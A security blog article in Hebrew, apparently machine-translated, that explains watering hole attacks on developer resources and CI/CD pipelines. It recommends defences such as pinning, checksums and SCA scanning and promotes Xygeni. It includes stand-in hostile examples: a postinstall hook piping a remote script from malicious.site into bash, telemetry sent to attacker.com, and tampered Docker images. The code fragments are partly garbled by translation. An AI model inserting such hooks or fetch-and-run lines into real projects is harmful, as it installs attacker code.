הבניין שבנה את הדלת האחורית
בנייה עוברת. שירות נפרס. הכל נראה נקי. אבל בפנים מוסתרת תלות מורעלת שנלקחה ממקור פרוץ. זוהי מתקפת "Watering Hole" קלאסית.
בתרחיש זה, התוקף לא פרץ לתשתית שלך. הוא המתין שמפתח יבקר במשאב מהימן, אתר מסמכים, מאגר חבילות או דף הורדה של ערכת פיתוח תוכנה (SDK), שכבר פרץ. הקוד הזדוני חדר לתשתית שלך. pipeline בעזרת פקודת משיכה או התקנה פשוטה.
ברגע שזה נשלח, לתוקף יש דריסת רגל שקטה בייצור. CI/CD pipeline פשוט עזר להם להגיע לשם.
מהי התקפת Watering Hole (ולמה למפתחים צריך להיות אכפת)
אז מהי מתקפת "watering hole"? זוהי מתקפת תוקף שפוגעת במשאב שמפתחים או צוותים כבר סומכים עליו. במקום לכוון אתכם ישירות, הם משחיתים אתר או מאגר משותף שאתם צפויים להשתמש בו, ומחכים שמישהו יתפוס את הפיתיון.
התקפות "Watering Hole" שונות מפישינג, שבדרך כלל מכוון לאישורים, וממתקפות שרשרת אספקה במעלה הזרם שמזריקות קוד פגום למאגר הראשי של חבילה. כאן, האיום מגיע מהמערכת האקולוגית סביבך: מסמכים שמוסיפים דלתות אחוריות, קבצים בינאריים של SDK שהוחלפו בטרויאנים, או רישומי חבילות המגישים גרסאות שונות.
ומשאבי פיתוח הם מטרות עיקריות: מנהלי חבילות (npm, pip, Maven), מאגרי GitHub ציבוריים, תמונות Docker שנראות רשמיות ודפי הורדה. אם אחד מאלה נפגע, התוקף כבר נמצא בתוך זרימת הפיתוח שלך.
היכן נטמנה המלכודת: דוגמאות אמיתיות המתמקדות בפיתוח התקפות בור השקיה
מתקפות "מים חודרים" לובשות צורות רבות. הנה כמה דרכים בהן הן חומקות ממפתחים:
- אתר מסמכים נפגע:
ייבוא {init} מ-'malicious-lib';
init({ טלמטריה: 'https://attacker.com' });
דוגמה לגיטימית שונתה בעדינות בתיעוד. המפתחים מעתיקים, מדביקים וממשיכים הלאה.
- סקריפט זדוני לאחר התקנה ב-PR ציבורי:
{
"scripts": {
"postinstall": "curl -s https://malicious.site/agent.sh | bash"
}
}
נראה כמו יחסי ציבור מועיל, אבל זה מתקין תוכנות זדוניות בשקט.
- ערכת פיתוח תוכנה בינארית עם ערכות פיתוח תוכנה טרויאניות:
./sdk-install.sh # מכיל מטען שלב שני נסתר
קובץ בינארי הורד מכתובת URL שנראית מהימנה אך שונה. - תמונת בסיס של Docker שעברה מניפולציה:
מאת node:slim-malicious - ריצה /tmp/hidden-installer.sh
שם התמונה נראה נכון, אבל היא מאוחסנת ברישום שנחטף או מזויף.
כל התקפות "חור המים" הללו מסתמכות על אמון המפתחים וזרימות עבודה מהירות כדי להימנע מגילוי.
ממחשב נייד ל Pipelineכיצד הזיהום מתפשט
מתקפת "Watering Hole" לא נעצרת בדפדפן. ברגע שקוד זדוני נכנס לסביבה מקומית, הוא יכול לנוע בשקט על פני כל שרשרת המשלוחים שלך:
- המפתח מבקר במשאב שנפגע (מסמכים, מאגר, אתר SDK).
- קוד זדוני נוחת בסביבת הפיתוח המקומית.
- קבצים או תלויות נגועים מתווספים ל- commit ודחף.
- CI/CD עבודות מריצות שלבי בנייה והתקנה באמצעות רכיבים אלה שנפגעו.
- החפץ נשלח ונפרס, תוך הטמעת קוד התוקף בתהליכי הייצור.
שרשרת זו יכולה להתפתח תוך שעות, במיוחד בצוותים במהירות גבוהה.
כדי לדמיין זאת, דמיינו pipeline תרשים שעוקב אחר נתיב ההדבקה מ:
- תחנת עבודה לפיתוחעורכים, טרמינלים, סקריפטי התקנה.
- בקרת מקור: Commitים, יחסי ציבור, מיזוגים.
- CI Pipelineהתקנות תלויות, ביצוע סקריפטים, בניית תמונות.
- הפקהשחרור, פריסות וגישת משתמשים של חפצים.
בכל שלב, התקפה על בור מים יכולה לחמוק מעיניו ללא אמצעי הבטיחות הנכונים.
תרחישי סיכון אמיתיים ב CI/CD
התקפות "Watering Hole" לא נעצרות רק במכונות פיתוח. הן ממנפות את הפוטנציאל שלך. pipeline נגדך. סיכונים אמיתיים כוללים:
- תמונות בסיס שנפגעו:
מן attacker-registry.io/python:3.10-slim
תוכנה זדונית נסתרת שנוספה במהלך הבנייה. - אחזור סקריפטים או כלים לא מוצמדים:
curl -s https://pkg.example.com/latest.sh | bash
"העדכני ביותר" יכול להשתנות בכל עת, במיוחד אם ה-DNS נחטף. - יומני CI נגועים (דוגמא):
[+] התקנת כלים…
[+] אחזור מ- https://tools.fakecdn.net/bootstrap.sh
[+] הבנייה הושלמה.
הכל נראה בסדר על פני השטח. אבל המטען כבר נמצא בחפץ.
התקפות על בור מים פוגעות בכמות האמון CI/CD סביבות ממקמות במקורות וסקריפטים חיצוניים.
לשבור את התקפת בור מים שרשרת: הגנות בצד המפתח
כדי לעצור את התקפות ה"Watering Hole" מוקדם, עליכם להדק את נוהלי הפיתוח שלכם. מניעת התקפות חייבת להתחיל לפני שהקוד נכנס למערכת שלכם. CI/CD pipeline:
- תלויות סיכההימנעו מתגיות צפות כמו האחרוןהשתמש בקובצי נעילה כדי להבטיח בניות דטרמיניסטיות.
- אימות סכומי בדיקהאימות כל הסקריפטים, הקבצים הבינאריים והחבילות המרוחקים.
- השתמשו במראות פרטיותשיקוף רישומי חבילות קריטיים כדי למנוע חשיפה למקורות במעלה הזרם שנפגעו.
- אימות תמונות בסיסהשתמש בתקצירי תמונות (@sha256) במקום תגיות. סרוק את כל התמונות לפני השימוש.
- הפעלה SCA/SAST טרום-מיזוגאוטומציה של סריקות בתהליך העבודה של יחסי הציבור שלך כדי לזהות איומים מוקדם.
- השתמש ב-Git hooksזיהוי וחסימה של שינויים בסיכון גבוה לפני שהם מגיעים למערכת בקרת הגרסאות.
- לטפל קוד של צד שלישי כמו קלט לא אמיןאפילו ספריות בשימוש נרחב עלולות לשאת סיכונים נסתרים.
אבטחה חייבת להיות משולבת בתהליכי עבודה של מפתחים. הרגלים ובקרות אלו עוזרים לחסום התקפות "Watering Hole" לפני שהן מתגברות.
לקחים מהשטח
מקרה 1: זרם אירועים (npm)
מתחזק מהימן העביר שליטה על חבילה פופולרית. המתחזק החדש הוסיף תלות שגנבה בשקט נתוני ארנק קריפטו.
- היכן שזה נכשלאין סקירה של תלויות טרנזיטיביות.
- שיעורהשתמש באוטומציה SCA כדי לעקוב ולסמן שינויים בתלות עקיפות.
מקרה 2: מעלה Codecov Bash
תוקף שינה סקריפט bash המשמש במערכות מידע מרובות pipelineש. היא גידל סודות מסביבות CI.
- היכן שזה נכשלאין אימות סכום בדיקה.
- שיעורתמיד יש לוודא כלים שהורדו לפני הפעלתם CI/CD.
שתיהן היו התקפות על בור מים. שתיהן היו יכולות להיעצר מוקדם יותר.
מניעה בפועל: חשיבה וכלים של DevSecOps
מניעת התקפות "Watering Hole" פירושה בניית תרבות מפתחים מודעת לאבטחה:
- הזזת אבטחה שמאלהלאמן מפתחים לבחון סקריפטים בלתי צפויים, שינויי תלות או שלבי התקנה.
- לְמַכֵּן SCA/SAST: להשתמש כלים אשר משתלבים בתהליכי עבודה של יחסי ציבור כדי למנוע פגיעויות ידועות ודפוסים מסוכנים.
- השתמש באימות גיבוב בכל מקוםיש לאמת כל משאב חיצוני לפני הביצוע.
- ניטור בזמן אמתמניעה לבדה אינה מספיקה.
כלים כמו קסיגני מציעים נראות בזמן אמת על פני כל שרשרת האספקה של התוכנה שלכם. Xygeni מנטר באופן רציף סביבות מפתחים, פעילות Git, CI pipelineוסמני חפצים לגילוי:
- שינויים חריגים בתלות.
- שינויים חשודים בסקריפטי בנייה.
- דפוסי גישה חריגים למקורות צד שלישי.
בעזרת Xygeni, צוותים יכולים לחסום איומים המובאים באמצעות התקפות "Watering Hole" לפני שהם מתפשטים, ולעקוב אחר מקור הפגיעה אם אחת כזו חומקת. היא נבנתה במיוחד עבור מערכות מודרניות. CI/CD סביבות, עם דגש על התראות מעשיות ושימושיות המכוונת תחילה למפתחים.
הערה אחרונה: מהיר Pipelineסיכונים מהירים יותר
עכשיו שאתה יודע מהי התקפת בור מים אתם יודעים שהם לא צריכים לפרוץ לתשתית שלכם ישירות. הם מצליחים בכך שהם מרעלים את הכלים והאתרים שמפתחים כבר סומכים עליהם. משם, שֶׁלְךָ CI/CD pipeline יכול להפוך למערכת ההפצה של התוקף.
הסיכון האמיתי אינו רק פגיעה, אלא כמה מהר קוד זדוני עובר דרכך. pipeline.
שלבו בדיקות אבטחה בתהליך הפיתוח שלכם, לא כמחשבה שנייה. כי ברגע שזה נשלח, זה כבר מאוחר מדי.
